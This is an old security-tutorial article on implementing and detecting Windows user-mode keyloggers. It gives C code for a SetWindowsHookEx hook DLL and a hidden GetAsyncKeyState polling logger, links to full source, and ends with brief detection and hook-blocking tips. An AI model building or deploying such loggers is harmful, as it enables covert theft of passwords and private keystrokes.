==================================================== The Art Of Key logging - Implementation and Detection On Windows Platform by Pranay Kanwar http://warl0ck.metaeye.org ==================================================== ==[0x00]==[Contents]= 0x01 Abstract. 0x02 Things you need. 0x03 Types of key loggers. 0x04 The SetWindowsHookEx method. 0x05 The GetAsyncKeyState method. 0x06 Translating the virtual-keys. 0x07 Detecting key loggers. 0x08 Conlcusion. 0x09 References. ==[0x01]==[Abstract]= From the time of computing mal wares and spy wares have been an integral part of the computer era. Key logging is one the most basic and dire need for a backdoor or a spy ware, it adds a new dimension to a rooted system allowing to infiltrate without raising a packet. In this article we discuss implementation and detection of Windows user mode key loggers, with that lets roll. ==[0x02]==[Things you need] o The Microsoft VC++ development environment. o MSDN Library. o I assume you are well used to the above mentioned things ==[0x03]==[Types of Key loggers] On windows key logging in user mode is achieved using two methods they are (They are Windows API calls) 1. SetWindowsHookEx 2. GetAsyncKeyState These are not the only two methods available, others are there but not quite practical and not seemed to be used in the wild. ==[0x04]==[The SetWindowsHookEx method] This method is very well known and source implementations are also available.As the api name suggests, we use windows hooks to achieve key logging.(Many of you might recall this as a method to inject DLLs and API hooking),MSDN says "A hook is a point in the system message-handling mechanism where an application can install a subroutine to monitor the message traffic in the system and process certain types of messages before they reach the target window procedure." "The SetWindowsHookEx function installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread." Syntax HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod, DWORD dwThreadId); if the idHook is set to WH_KEYBOARD, keyboard events are monitored and on each event the hook procedure is called, there is another idHook available but it won't work on windows 98, this one works on all of them and yes even Win2k3. For the application to receive the events globally the hook procedure (a.k.a. global hook) must be in a library i.e. a DLL file.So here are the steps o First we make a DLL file having the hook procedure function, who's prototype is LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam); The wParam holds the virtual-key code of the key that generated the keystroke message and the lparam holds the repeat count, scan code, extended-key flag, context code, previous key-state flag, and transition-state flag. Next we need to decode these parameters to ASCII characters and log them to file, but as you can see opening and writing each character to a file every time a key stroke is generated will make the process slower, so we send these keystrokes back to the application where they will be processed and logged to a file, there are numerous methods available to do this ( shared memory sections named pipes etc, but they are again equivalent to opening and closing a file object), we do it using windows messages. Also we need to keep nag of a few things here (from MSDN) a. If code is less than zero, the hook procedure must return the value returned by CallNextHookEx b. If code is greater than or equal to zero, and the hook procedure did not process the message, it is highly recommended that you call CallNextHookEx and return the value it returns; otherwise, other applications that have installed WH_KEYBOARD hooks will not receive hook notifications and may behave incorrectly as a result. If the hook procedure processed the message,it may return a nonzero value to prevent the system from passing the message to the rest of the hook chain or the target window procedure. NOTE: This method can also be use to sterilize already running key loggers by violating point b.See section 0x06. Finally our procedure looks like LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam) { if(code != HC_NOREMOVE) /*Follow points a and b*/ if(lParam < 0) if(code==HC_ACTION) { /*Find the window and send the message*/ hwnd=FindWindow(szWindowClass,szWindowName); SendMessage(hwnd,WM_LOGGERB,wParam,lParam); } return CallNextHookEx(NULL,code,wParam,lParam); } o Next comes the main application, we first create a window (of course we will hide it);it is required to make this hook (don't know why) work properly also since we will be receiving the keystroke information as messages. Next we establish the hook, open a file for writing and wait for messages. A part of the window callback procedure code looks like: /*Load our library*/ hm=LoadLibrary(szFile); /*GetAddress of the Hook procedure*/ pFunc=(pKBP)GetProcAddress(hm,"KeyboardProc"); /*Establish the hook*/ hhk=SetWindowsHookEx(WH_KEYBOARD,pFunc,hm,0); The code for logging the data is similar to the next method used.The rest of the code can be found on my web site, see references. ==[0x05]==[The GetAsyncKeyState method] This method is the most efficient method and does not need an extra dll as in SetWIndowsHookEx method.I suppose this is the first time this method is going to be publicly available in source (i found none). MSDN says The GetAsyncKeyState function determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState. Syntax SHORT GetAsyncKeyState(int vKey); the vkey Specifies one of 256 possible virtual-key codes. To use this we constantly poll using a thread ,a loop or a timer to check if a key is pressed, if yes we log it.Now it might seem simpler to you but the actual implementation in C looks something like this for(i=0;i<94;i++) if(GetAsyncKeyState(VKeys[i].VIR_KEY) & 0x00000001) if(GetAsyncKeyState(VKeys[i].VIR_KEY) & 0x8000000) { if((VKeys[i].VIR_KEY >=0x41) && (VKeys[i].VIR_KEY <=0x5A)){ if(!( ( GetKeyState(VK_CAPITAL) & 0x000000001 ) ^ ( GetKeyState(VK_SHIFT) <0 ) ) ) { wsprintf(KeyData,"%c",(TCHAR)tolower(VKeys[i].VIR_KEY)); res=WriteFile(hFile,(LPCVOID)KeyData,1,&BW,NULL); if(res==0) SendMessage(hwnd,WM_DESTROY,0,0); break; } } if( (GetKeyState(VK_SHIFT) <0) && IsTrans(VKeys[i].VIR_KEY) ) { wsprintf(KeyData,"%c",(TCHAR)TransKey(VKeys[i].VIR_KEY)); res=WriteFile(hFile,(LPCVOID)KeyData,1,&BW,NULL); if(res==0) SendMessage(hwnd,WM_DESTROY,0,0); break; } wsprintf(KeyData,"%s",VKeys[i].Des); res=WriteFile(hFile,(LPCVOID)KeyData,strlen(VKeys[i].Des),&BW,NULL); if(res==0) SendMessage(hwnd,WM_DESTROY,0,0); } Simple ??. The first two if statements might be hard to get, the first if statement checks if a key was pressed after the previous call to GetAsyncKeyState (this is the essence of this method which gives it the speed) and the second one checks if the key is down, the third if takes care of leaving some keys (printable ASCII actually, but it can be removed). The fourth and the fifth if statement handles checks if shift key is pressed or caps lock is on and rest is about translating and logging the keys, see the reference section for a link to the examples.Very few key loggers use this method, one example is the skl0g key logger written in visual basic. ==[0x06]==[Translating the virtual-keys]= Finally we need to translate the virtual key codes, i do this by making a structure array as this method allows me to log keys as ,, etc. I use two structures to take care of the shift key (not necessary, hey the code is old but old is gold),the structures look like typedef struct _STABLE { int VIR_KEY; TCHAR Key; }TTABLE; typedef struct _VTABLE{ int VIR_KEY; TCHAR *Des; }VTABLE; And finally the arrays (for arrays see the source code). Since the shift key state and caps lock state is unavailable, we use the GetKeyState API to handle these. Next we simply call required functions to return appropriate data i.e. character corresponding to a key or a description. ==[0x07]==[Detecting key loggers]= By reading this article by now you must have guessed a couple of ways to detect such activity. Most key logger and spy ware detectors work on signatures not heuristics. To monitor such activity we need to establish a global API hook on GetAsyncKeyState api and monitor the rate at which it is being called, or just scan for executables which call this function (this can be easily bypassed), but beware this is also the method used to implement 'Hot Keys'. The SetWindowsHookEx activity can be detected similarly. A SetWindowsHookEx key logger can be easily sterilized by establishing another WH_KEYBOARD hook, and not following the required rules (see point b under section 0x04).Then our hook procedure will look like: LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam, LPARAM lParam) { if(code<0) return CallNextHookEx(NULL,code,wParam,lParam); /*The next procedures in the hook chain never get a chance to process messages*/ if(code>=0) return 0; } It is to be noted that this should be done after the key logger is running. ==[0x08]==[Conclusion]= I have outlined the basic methods involved in building a keyloggers.The next step would be to encrypt or access the kelogged data remotely.I did not discuss these things as i did not want this to be a spy ware guide.Hope this article spreads information regarding key loggers. ==[0x09]==[References]== 1. The examples of both the key loggers can be found at http://warl0ck.metaeye.org/logkeys.zip 2. MSDN Library , http://msdn.microsoft.com